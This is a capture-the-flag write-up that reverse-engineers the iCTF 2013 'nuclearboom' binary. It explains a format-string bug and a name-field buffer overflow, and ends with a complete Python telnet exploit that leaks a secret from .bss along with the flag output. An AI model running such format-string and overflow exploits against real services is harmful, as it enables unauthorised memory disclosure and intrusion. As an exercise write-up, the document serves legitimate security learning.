nuclearboom: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
Nuclearboom was a service binary in the iCTF 2013 Attack & Defense CTF. You use it to manage your various nuclear plants.
Control Panel:
1) build a new nuclear plant
2) list existing nuclear plants
3) display info of a nuclear plant
4) edit an existing nuclear plant
5) get self-destruction code
6) set new self-destruction code
7) exit
Your choice: 5
Choice: 5
Password: lol?
Wrong password. And since the self-destruction code is exactly what the Sicilian hackers are supposed to get, I will not give it to you. I hope you understand.
We need to get the self-destruction code but we don’t have the password.
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x000120 0x000120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x000013 0x000013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x002620 0x002620 R E 0x1000
LOAD 0x002f14 0x0804bf14 0x0804bf14 0x0001b4 0x000240 RW 0x1000
DYNAMIC 0x002f28 0x0804bf28 0x0804bf28 0x0000c8 0x0000c8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x000044 0x000044 R 0x4
GNU_EH_FRAME 0x00219c 0x0804a19c 0x0804a19c 0x0000e4 0x0000e4 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x000000 0x000000 RW 0x4
GNU_RELRO 0x002f14 0x0804bf14 0x0804bf14 0x0000ec 0x0000ec R 0x1
Stack is not executable and .got/.dtor are read-only.
Where is the vulnerability ? After some disassembly and testing, we find a vulnerability in the sequence of checks of the “1) build a new nuclear plant” option.
Lets trace it in reverse order:
{
signed int status; // [sp+1Ch] [bp-Ch]@1
status = 0;
if ( *((_WORD *)plant_name + 54) <= 0 )
{
status = 1;
printf("ARE YOU CRAZY? Uranium in nuclear plant "");
printf(plant_name);
puts("" is TOO HIGH!");
}
else
{
puts("OK");
}
return status;
}
Same thing in assembler:
.text:08049429 movzx eax, word ptr [eax+6Ch]
.text:0804942D mov [ebp+uranium_level], ax
.text:08049431 mov [ebp+status], 0
.text:08049438 cmp [ebp+uranium_level], 0
.text:0804943D jle short uranium_too_high
.text:0804943F mov dword ptr [esp], offset aOk ; "OK"
.text:08049446 call _puts
.text:0804944B jmp short exit
.text:0804944D ; ---------------------------------------------------------------------------
.text:0804944D
.text:0804944D uranium_too_high: ; CODE XREF: check_uranium_level+1Dj
.text:0804944D mov [ebp+status], 1
.text:08049454 mov eax, offset aAreYouCrazy?Ur ; "ARE YOU CRAZY? Uranium in nuclear plant"...
.text:08049459 mov [esp], eax ; format
.text:0804945C call _printf
.text:08049461 mov eax, [ebp+plant_name]
.text:08049464 mov [esp], eax ; format
.text:08049467 call _printf
.text:0804946C mov dword ptr [esp], offset aIsTooHigh ; "" is TOO HIGH!"
.text:08049473 call _puts
In the check_uranium_level() function, there is an almost blinking format-string vulnerability. And when we add a new nuclear plant, we control the name so this is going to be very useful.
We need the uranium to be equal or lower than zero (remember this)
When is check_uranium_level() called ?
(...)
ask_for_string((int)"Insert name: ", &plant_name, 0x70u);
plant->id = plant_id;
plant->oxygen = gen_random_num(150, 500);
plant->carbon = gen_random_num(15, 100);
plant->boron = gen_random_num(250, 800);
plant->zirconium = gen_random_num(120, 900);
plant->uranium = gen_random_num(10, 600);
strcpy(plant->name, &plant_name);
if ( check_secondary_elems_level((int)plant) )
{
puts("Error. One of the secondary element level is too high!");
}
else
{
if ( check_uranium_level(plant->name) )
{
puts("Error. Uranium level is too high!");
}
else
{
++*(_DWORD *)&a1[1].plant[0];
printf("Plant %s created successfully!\n", plant);
}
}
We can guess the various usage and size of the fields in the plant structure:
0x64: oxygen
0x66: carbon
0x68: boron
0x6a: zirconium
0x6c: uranium
0x6e: id
IDA’s Structure feature is extremely useful here, I used the following definition for the plant structure:
00000000 name db 100 dup(?) ; string(C)
00000064 oxygen dw ?
00000066 carbon dw ?
00000068 boron dw ?
0000006A zirconium dw ?
0000006C uranium dw ?
0000006E id dw ?
00000070 plant_struct ends
So to trigger our format-string vulnerability we need:
– Add a new plant
– Pass the secondary elements check
– Fail the Uranium check (uranium level <= 0) to trigger the debug message with the vulnerable printf
But the uranium level is random generated: plant->uranium = gen_random_num(10, 600);
So we need to find a way to set the uranium level to zero or less.
Fortunately there is another vulnerability in the handle_plant_creation() function when dealing with the plant name, a good old buffer overflow:
We accept 112 chars for the plant name while there is room for 100 chars in the plant structure: this will overwrite the element fields! Perfect for what we need. We will overwrite the secondary elements with valid values so that the check_secondary_elems_level() do not return an error and a negative value for the uranium level.
What can we do with the format string ? It’s quite easy, we will use it to leak the self-destruction code or the password which are conveniently in the .bss section at fixed addresses:
.bss:0804C100 auth_password db 41h dup(?) ; DATA XREF: main+2Ao
.bss:0804C100 ; main+4Co ...
.bss:0804C141 public selfdestruction_code
.bss:0804C141 ; char selfdestruction_code[]
.bss:0804C141 selfdestruction_code db 11h dup(?) ; DATA XREF: print_selfdestruction_code+Bo
.bss:0804C141 ; read_selfdestruction_file+38o ...
Enough explanations, lets move to the exploit:
from struct import pack
ip = '1.2.3.4'
port = 4444
tn = telnetlib.Telnet(ip, port)
tn.read_until("Your choice: ")
tn.write("1\n")
tn.read_until("Insert name: ")
# selfdestruction_code offset
format = pack("<I", 0x0804C141)
# Rewind the stack until the find the beginning of this buffer
# then use the first 4 bytes as a offset to display a string
format += "%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X|%s"
buffer = format
buffer += '|' * (46 + 54 - len(format))
# Valid values for the secondary elements
buffer += pack('<H', 666) # oxygen
buffer += pack('<H', 666) # carbon
buffer += pack('<H', 666) # boron
buffer += pack('<H', 666) # zirconium
# Negative value to trigger the vulnerable debug message
buffer += pack('<h', -1) # uranium
buffer += pack('<H', 666) # id
buffer += "\n"
s = tn.get_socket()
s.send(buffer)
data = s.recv(1024)
print repr(data)
flag = data[136:].split('|')[1]
print "flag=", flag
tn.read_until("Your choice: ")
tn.write("7\n")
Output:
flag= FLGMVym8yKMeheic